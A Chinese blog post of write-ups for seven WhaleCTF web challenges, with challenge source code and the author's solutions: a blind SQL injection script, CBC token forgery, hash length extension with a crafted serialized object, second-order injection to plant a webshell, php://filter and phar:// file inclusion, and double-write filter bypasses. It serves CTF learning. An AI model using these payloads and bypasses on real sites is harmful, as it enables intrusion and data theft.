WhaleCTF第二期打卡的web题

把剩下的几个web题目完成记录一下吧。

登录无效

这一题好像是bugku的原题,就是一个反序列化的题目,查看源码发现有提示,对应输入一个hint参数,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php 
error_reporting(0);

include_once("flag.php");

$cookie = $_COOKIE['Whale'];

if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>

<body>
<br>

<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
<!--hint:paramenter:hint-->
</div>

</body>
</html>

<?php
}
$KEY='Whale:www.whalectf.com';
?>

这里面在意的就是存在unserialize函数,也就是反序列化,简单说一下代码的流程,反序列化cookie值,只要使得cookie值等于key的值就可以了,但是这里的key得注意一下,这里的key值一开始是等于NULL的,他是到后面才给KEY赋值的,而且这题难度大大降低了,不是以类的方式来实现反序列化的

1
2
$a = '';
echo serialize($a);

设置cookie,直接得到flag

kGouvj.png

瞎子摸鱼

查看源码查看头发现没什么可以利用了的于是就查找一下是否源码泄露,用dirsearch搜一波,发现里面有几个页面是存在的,前面两个是一样的页面,有用的页面是最后一个

kGoQrn.png

在index.php~里面发现对应配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "123456";
$db = "ctf";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");

/* sql

create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

从上面的代码可以得到的信息有数据库里面的字段数有三个,还有他的过滤字段,我们看一下他的执行流程,分别用POST参数获取username和password参数,然后经过过滤,从数据库中获取一组数据,有数据就显示用户名,最后一句可以看见flag就是password

这个过滤有两个点需要注意一下

没有了括号就不能用sql里面的语句了,没有了password,但是他却是字段名,所以SQL语句里面并不能出现password这个列名

这里用到一个union盲注的知识点

因为这里MySQL的字符串排序是从头开始一个个ASCII码去比较的,因此会有下面的结果

kGo3V0.png

order by 3是以第三列作为排序,然后distinct去掉重复的名字,desc是降序排序,默认是升序,也就是小的在下面大的在上面,可以利用盲注去爆破出密码,这里我是从ASCII码增大的情况考虑也就是(48,127)比他大了就减一就对应的ASCII码,也就是说零界点是减一的时候

kGoYPU.png

当然我们可以升序去爆破,就把符号字典倒序过来即可,零界点刚好是不出现用户名的时候,这里的盲注是一开始就知道用户名的,我们需要获取对应的用户名,怎么获取,可以利用一个异或去获取对应的用户名,当然这里除了^0,还可以是^1^1,会将数据库所有结果都会返回的。

kGoN24.png

发包可以获取得到对应的用户名

kGoUxJ.png

下面就是执行爆破的脚本,就是利用python字符串的format来实现,我这里使用的是升序爆破,所以我在构造字典的时候使用了一个字符串切片逆序字符串,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

def makeStr(begin,end):
ss = ''
for i in range(begin,end):
ss = ss+ chr(i)
return ss[-1::-1]



def GetPassword():
url = 'http://ctf.whaledu.com:10801/47g256f48gff/index.php'
payload = "whaleadmin' union distinct select 1,2,0x{hex} order by 3#"
flag = ""
testStr = makeStr(42,127)
for _ in range(32):
for i in testStr:
data = {'username':payload.format(hex=(flag+i).encode('hex')),'password':'1'}
res = requests.post(url=url,data = data)
#print res.content
if 'whaleadmin' not in res.content:
flag = flag + chr(ord(i))
print flag
break
else:
print "[+]Attacked by 0verWatch",i





if __name__ == '__main__':
#print makeStr(42,127)
GetPassword()

得到一个MD5值解密之后得到flag

神秘的令牌

这个题目扫一下目录可以发现index.php~,然后里面有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php
include 'config.php';
error_reporting(0);
define("SECRET_KEY", "this_is_key_you_do_not_know");
define("METHOD", "aes-128-cbc");

session_start();

function get_random_token(){
$random_token='';
for($i=0;$i<16;$i++){
$random_token.=chr(rand(1,255));
}
return $random_token;
}

function get_identity()
{
global $defaultId;
$j = $defaultId;
$token = get_random_token();
$c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("ID", base64_encode($c));
setcookie("token", base64_encode($token));
if ($j === 'admin') {
$_SESSION['isadmin'] = true;
} else $_SESSION['isadmin'] = false;

}

function test_identity()
{
if (!isset($_COOKIE["token"]))
return array();
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
if ($u === 'admin') {
$_SESSION['isadmin'] = true;
} else $_SESSION['isadmin'] = false;
} else {
die("ERROR!");
}
}
}

function login($encrypted_pass, $pass)
{
$encrypted_pass = base64_decode($encrypted_pass);
$iv = substr($encrypted_pass, 0, 16);
$cipher = substr($encrypted_pass, 16);
$password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
return $password == $pass;
}



function need_login($message = NULL) {
echo " <!doctype html>
<html>
<head>
<meta charset=\"UTF-8\">
<title>Login</title>
<link rel=\"stylesheet\" href=\"CSS/target.css\">
<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
</head>
<body>";
if (isset($message)) {
echo " <div>" . $message . "</div>\n";
}
echo "<form method=\"POST\" action=''>
<div class=\"body\"></div>
<div class=\"grad\"></div>
<div class=\"header\">
<div>Log<span>In</span></div>
</div>
<br>
<div class=\"login\">
<input type=\"text\" placeholder=\"username\" name=\"username\">
<input type=\"password\" placeholder=\"password\" name=\"password\">
<input type=\"submit\" value=\"Login\">
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
</form>
</body>
</html>";
}

function show_homepage() {
echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
global $flag;
printf("Hello ~~~ ctfer! ");
if ($_SESSION["isadmin"])
echo $flag;
echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";

}

if (isset($_POST['username']) && isset($_POST['password'])) {
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$query = "SELECT username, encrypted_pass from users WHERE username='$username'";
$res = $conn->query($query) or trigger_error($conn->error . "[$query]");
if ($row = $res->fetch_assoc()) {
$uname = $row['username'];
$encrypted_pass = $row["encrypted_pass"];
}

if ($row && login($encrypted_pass, $password)) {
echo "you are in!" . "</br>";
get_identity();
show_homepage();
} else {
echo "<script>alert('login failed!');</script>";
need_login("Login Failed!");
}

} else {
test_identity();
if (isset($_SESSION["id"])) {
show_homepage();
} else {
need_login();
}
}

全局搜索之后发现出现flag的地方,然后开始反推,从代码里面可以推出几点

  1. 要想出现flag,必须得满足test_identity()然后继续推有,u == admin-->$_SESSION['isadmin'] = true-->get_identity()-->get_random_token()--> if ($j === 'admin') { $_SESSION['isadmin'] = true;} --> login(),最后发现password == $pass
  2. 对密文c要进行一次openssl_decrypt,用的method是CBC,才能出来结果,这里就要运用到一个叫padding oracle的攻击方法,这里的IV值是base64_decode($_COOKIE["token"]),而c是$_SESSION['id']
  3. 登录的时候password需要一个绕过,因为存在==的符号,不难让人想到可以绕过

padding oracle的攻击方法是针对CBC链接模式的的攻击,跟使用的加解密算法无关,CBC模式在服务器端如何做处理呢?先检查密码是否可以解密,如果可以就会返回解密结果和一个正确的标记值,否则就直接一个错误的标志。这就可以利用报错的特点去挖掘此处的漏洞,有点像盲注,我么可控的输入是需要解密的密文还有IV值。

这个题目重点在于构造defaultID等于admin加密后的东西,如何实现?token可以伪造原因是可以绕过登录不需要重新建立一个ID,所以重点也在伪造token上,因为defaultID = 中间值^token, 构造token’ = token^defaultID^’admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b’,然后最终相当于中间值^token^defaultID^’admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b’ = defaultID^defaultID^’admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b’ = ‘admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b’,最后完成构造。

kG1ZE4.png

蓝鲸相册系统

这个题目考察的点比较多,但有点意思,先考察了代码审计,然后就是hash长度拓展攻击,然后就是一个反序列化以及SQL注入

首先在common.php中发现任意的变量覆盖,这里就是为什么后面可以随便传参的原因

1
2
3
4
5
6
7
8
9
foreach(Array("_POST","_GET","_COOKIE") as $key){
foreach($$key as $k => $v){
if(is_array($v)){
die("hello,hacker!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}

可以发现这里面有好几条SQL语句不存在单引号,因此不管存不存在addlashes都会对此语句没有任何保护,所以这里是第二个利用点。里面的$id是一个可控点,但前提得在数据库里面找不到userid的数据才行,才可以给它赋值,但网页存在功能可以把他给删除掉,,但是这些功能还是得先登录才行,满足session[login] == 1的条件。

kG8Vh9.png

接着在api.php同样发现一个没有附初始值的变量$api,这个变量前面还有unserialize这很明显就是一个反序列化的漏洞,但这个时候我们想要调用里面的do_method还必须满足check函数里面的$this->check === md5($result['salt'] . $this->data . $username)这个条件,这个也很熟悉了,hash长度拓展攻击的结构,我们可以构造一下成为admin

此时我们需要的是salt的MD5,我们可以在forgot.php里面找到其hash值,让他返回url

kGGkKP.png

kGGZVS.png

开始构造拓展admin

kGGM2n.png

然后开始构造反序列化,但是我们还需要userid,在哪里可以得到自己的id值呢?可以在index.php里面可以发现,登陆成功以后我们可以在cookie里面发现自己的id

kGGLGj.png

然后开始构造反序列化

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class admin{
var $name = "admin";
var $check= "4af6ae895d65fe450ff1e9531e0579d2";
var $data = "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";
var $method="del_user"; //要调用的函数
var $userid="70"; //要删除的用户
}
$a = new admin();
$api = base64_encode(serialize($a));
echo $api;

但是想要跳转到api.php这个页面的时候就会发现还是会跳转到riji.php,查看源码可以得知这里面存在对于session[login]的检测只要另起一个浏览器再访问api.php就可以。

1
2
3
4
if (@$_SESSION['login'] === 1){
header('Location:/web/riji.php');
exit();
}

把我原来的id给删除这样就可以对我的id参数随心所欲了

kGJLTO.png

返回到原来的页面直接注入获得flag

kGYVhQ.png

蓝鲸文件管理系统

这是一道代码审计的题目,这应该是我第一次看这种整站的代码,说实话一开始只看到上传页面的时候脑子一直在想应该是上传漏洞,可能是各种截断之类的然后getshell,但后来看了下源代码发现不行,所以也只能一步步来了

对于我这种小白,第一次做这样的代码审计只能先从整体结构分析开始,也就是先对网站结构进行审计,按照网站逻辑去看代码,有全局配置文件如(config.php, common.inc.php之类的)就先看一下。

kGY3AU.png

从网站结构看上传,改名,删除是网站的主要功能,所以我们主要看这三块功能,但是我们发现有全局配置文件common.inc.php,那我们就先查看它

kGYIUS.png

可以看到这个全局配置文件里面对全局变量进行了转义,相当于PDO里面的magic_qutoe,一般来讲在全局设置了转义就很难存在注入的漏洞,而且不存在其他数字型的注入

再来看upload.php

第一段代码我们可以看得到代码文件后缀名进行了过滤,而且是白名单过滤,这样就又少了利用的可能了,而且这里是把文件名跟后缀名分开存储的

kGYo4g.png

这里的filename是不带后缀名的,extension是后缀名

kGYH3j.png

这部分是在数据库中插入一条新文件记录,试着上传一个文件,他在数据库的存储情况是这样的

kGYbgs.png

所以还是没找到可利用的点,在查看rename.php,发现

kGYqvn.png

这里有一个点就是oldname 文件名来自数据库,而newname 的文件名来自用户输入,而来自数据库里面的数据是不带转义符号的,这就存在一个二次注入,我们可以利用oldname去闭合构造语句,使后缀名为空,构造一个这样的语句update `file` set filename=34.jpg,oldname=’’,extension=’’,filename=’34.jpg’ where `fid`=fid;

kGYOuq.png

我们就可以先上传一个文件名为’,extension=’’,filename=’34.jpg.jpg的文件,为什么要两次.jpg?

因为在下面这段代码中他会自动给文件名加上后缀,这个后缀不加的话,我们在后面的二次命名会不统一,例如我们若上传了文件名为’,extension=’’,filename=’34.jpg的文件的话输入的oldname跟newname分别为’,extension=’’,filename=’34和34.php但是改名后文件系统下为34.php.jpg还是不可执行的。就是说现在改名后在文件目录下的文件是34.jpg.jpg

kGYjbV.png

kGYxET.png

上面的问题我们可以再次上传一个34.jpg文件使得文件目下存在34.jpg,后面就可以利用extension为空,文件名为34.jpg的文件变成34.php

1549181047549

其实我们就是利用这两行数据,特别注意的是我们改名的时候填的是文件名而不包括后缀名的。再一次改名,找到的是fid为3的这条数据,然后拼接上空后缀名,刚好是文件系统里面的34.jpg,而这个34.jpg就是我们刚才上传的木马文件里面的内容是<? phpinfo(); ?>,打开34.php,直接getshell

kGtS5F.png

其实文件目录下34.jpg.jpg还在,真正有价值的是第二次上传的文件,第一次上传的文件只为了构造空后缀名。

这个题目还是很好的,在过滤比较完善的情况下,这一种bypass思路值得学习,从源码审计->文件上传->二次注入->文件名修改漏洞利用,这一套下来对我这种小白来讲学到的太多了。

蓝鲸笔记系统

刚开始拿到这个题目的时候,一看到时登录框,就以为是SQL约束攻击或者是SQL注入,但是SQL注入没有任何回显,只能尝试SQL约束,发现确实有这个漏洞,但登陆进去之后,发现有提示/dbinit.sql,打开发现是数据库创建的代码,发现有flag字段

kGsYXF.png

但是没有任何利用价值,看了塔主的解析后,才发现原来url有问题,所以我们不能一直盯着一处漏洞一直不放手,有时候换个角度或许就有结果了。我们发现url是动态的,首页是这样的 : index.php?action=front&mode=index,新建笔记页面是这样的:index.php?action=front&mode=newnote,删除笔记页面是这样的: index.php?action=front&mode=delete&id=4&TOKEN=hhhhhhwhhhhhhwhw

于是猜测有文件包含漏洞,也就是我们所说的LFI漏洞

直接访问front/index.php得到

kGsU0J.png

不允许访问说明这个页面是存在的,猜测后台为include($action.’/’.$mode.’.php’)

因为这里php版本大于5.3,不能用00截断了,但是我们可以利用php伪协议把他们读出来构造202.98.28.108:10013/7sghfe673jd3/index.php?action=php://filter/read=convert.base64-encode/resource=.&mode=index

得到base64编码后的源码,见源代码一开始存在addslashes过滤,所以我们可以知道我们利用注入的漏洞去解决这一道题的方法不太可行
解码后发现文件中还包含了common.php同样的办法得到common.php的源代码,common.php的源代码里面还包含了一个config.inc.php,但是拖不出来
到这里就没有啥头绪了,只能回去看一下有什么可以了利用的,突然发现那个删不掉的记录提到administrator猜测可能存在后台于是拿出御剑扫描一波后台
发现admin目录下面的几个文件

kGIs3Q.png

于是同样的方法把这几个文件的源码给弄出来
进入后台admin登录页面,用户名被锁定,应该这就是那一个admin的登录页面了
审计一下这个页面的源码
我们看到admin/login.php前面有uname还有password但是这个password不知道,我们只能看到下面登录以后的set_login函数,进去函数的定义里面看一下

kGIRH0.png

发现如果不存在登录信息的话,userid和level都会置空,这就可以绕过admin/index.php里面的这个判断,因为null!=false=>true

kGIfEV.png

而且set_login还会发送cookie,所以我们还要构造cookie,而且cookie的的格式是admin|md5(SECURITY_KEY+’admin’)

kGIhNT.png

而且security_key还有token没有设置,就会用rand函数生成随机数,这里的源代码使用wh中的6位随机排列,我们选择爆破(这里本来是推算随机数,不过这个bug好像在php中被修复了,出题人也很仁慈得把初始的随机数表变成了“wh”减少了难度。直接爆破就可以了)

然后我们分别改变cookie的UID和PHPSESSID,进入index页面就进入了admin管理页面,点击那一个20条笔记发现存在一个名字叫setpagenum的页面,于是我们用同样的办法把他的源码给提取出来

发现里面的page参数经过is_numeric的函数的检测,但是我们知道这个函数可以用十六进制绕过,这里应该是为了过滤进入到数据库page表里面的数据为数字

kGIXE6.png

看一下index页面的展示数据库内容的语句,追踪get_page_size()函数

kGIzCD.png

发现里面的num参数本应该是数字,相当于setpagenum页面的page参数,因为mysql_fetch_assoc() 函数从结果集中取得一行作为关联数组,返回了setpagenum页面在数据库更新的num参数,但发现数据库里面的类型跟他不一致啊,数据库里面是字符串类型的,这就有一个漏洞的利用方向了。

kGo9vd.png

于是我们构造语句

这里构造四列是因为在hint里面发现的SQL语句note有四列,回显的是第二列,把他编辑成16进制得到0x3120756e696f6e2073656c65637420312c666c61672c332c342066726f6d20666c616773,输入到设置条数里面,得到flag

kGoiDI.png

这一个题目用到了源码审计,PHP伪协议,二次注入还有伪随机数,学到了很多

蓝鲸相册展览

知识点 注入绕过str_replace 注入下载文件 union盲注 phar绕过后缀名解析

打开网站后发现是一个登录页面,吸收了前几次的经验,进来先不要看到有登录界面就一直往注入方向去想,打开源代码后发现存在注册页面的提示,于是我们就先去注册页面注册个账号进去看一下这个网站有什么功能。

kGowrR.png

先注册一个账号,登陆进去之后发现有三个功能

主页,下载,上传,我们重点看下载跟上传功能,看这个url,file=xxx,感觉存在文件包含漏洞,尝试用php伪协议把源码给拖出来。发现被拒绝了,于是我们再来看一下上传功能,发现只能上传图片,上传后它会在download处回显,在download处点击收藏会把文件下载下来。先尝试一波文件截断的处理操作,抓包改文件名,上传还是不行,因为关键的文件路径不知道

只能另寻别路了,下载一张图片,抓包,发现下面的信息

kGofsA.png

这个下载似乎是利用image这个标签在数据库寻找下载然后下载的,我们尝试一下能否注入,输入单引号会出现警告,直觉感觉过滤做得很严,于是尝试双写绕过利用再加上union select hex(文件名去下载源码),不过得先让前面的搜索id不能是个可以找得到的id号,不然会一直下载自己上传的那一个文件

kGohqI.png

得到index.php的源码,发现里面还有config.php,同样的方法把他给下载下来,同理我们把各个模块的源代码给下载下来

首先查看全局配置文件config.php,我们发现里面确实用了addslashes函数去过滤,所以说这就减少了注入的可能性了,再来看看下面还有个filter函数这个函数就是为什么刚才可以用双写绕过的原因,因为他没有设置第四个参数,默认就会替换一次,从而双写绕过,而我们在PHP里面还有一个str_ireplace的函数对大小写极不敏感,可以用大小写绕过。

我们在upload.php里面的发现文件上传规则,只允许上传图片

kGo5Zt.png

下面就是文件命名规则

kGoIdP.png

发现里面有一个随机数命名,查看此函数位于config.php里面

1549204940505

img

生成的是32位的随机数,可能就存在随机数的漏洞,我们使用union盲注的方法把文件路径给跑出来得到文件路径名

用脚本去利用union盲注跑文件名,重要的是如何双写绕过,因为这里面download.php的功能只有在登陆以后才可以实现,所以,我们必须的带cookie跑,我下面就是我的request请求要发送的内容

1
2
3
4
5
6
7
8
data="image=212 ununionion diisstinct selselectect 0x{filename} oisrorder by 1 desc&image_download=%E6%94%B6%E8%97%8F"
url = "http://ctf.whaledu.com:10012/52gw5g4hvs59/downfile.php"

headers = {
"Content-Type":"application/x-www-form-urlencoded",
"Cookie":"PHPSESSID=a2ds5od7uidniglahrdt7u53v3",
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
}

最后跑出文件名啦23333

kG54ld.png

复习一下php为协议里面的知识点,一个是phar一个是zip伪协议,这两个协议可以识别压缩包,并将压缩包里面的文件读取出来执行,所以我们就把一句话的php文件打包成压缩包,利用下面的协议去执行

Zip协议:file=zip://1.jpg%231.php 注意这里zip使用#也就是%23分割,而phar使用的是/分割并且执行文件不加后缀名,因为源码里面已经包含了后缀名Phar协议为:file=phar://1.jpg/1

接下来就是用phar协议了,获得flag所在页面为F1AgIsH3r3G00d.php,file=phar://./Up10aDs/fvgdvan23vtfezk89ngad52bkhzvaio4.jpg/1

kG5jpQ.png

打开发现什么都看不见,又想到一开始读文件的操作,于是再尝试发现,成功读取flag

kGIEp4.png


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 登录无效
  2. 2. 瞎子摸鱼
  3. 3. 神秘的令牌
  4. 4. 蓝鲸相册系统
  5. 5. 蓝鲸文件管理系统
  6. 6. 蓝鲸笔记系统
  7. 7. 蓝鲸相册展览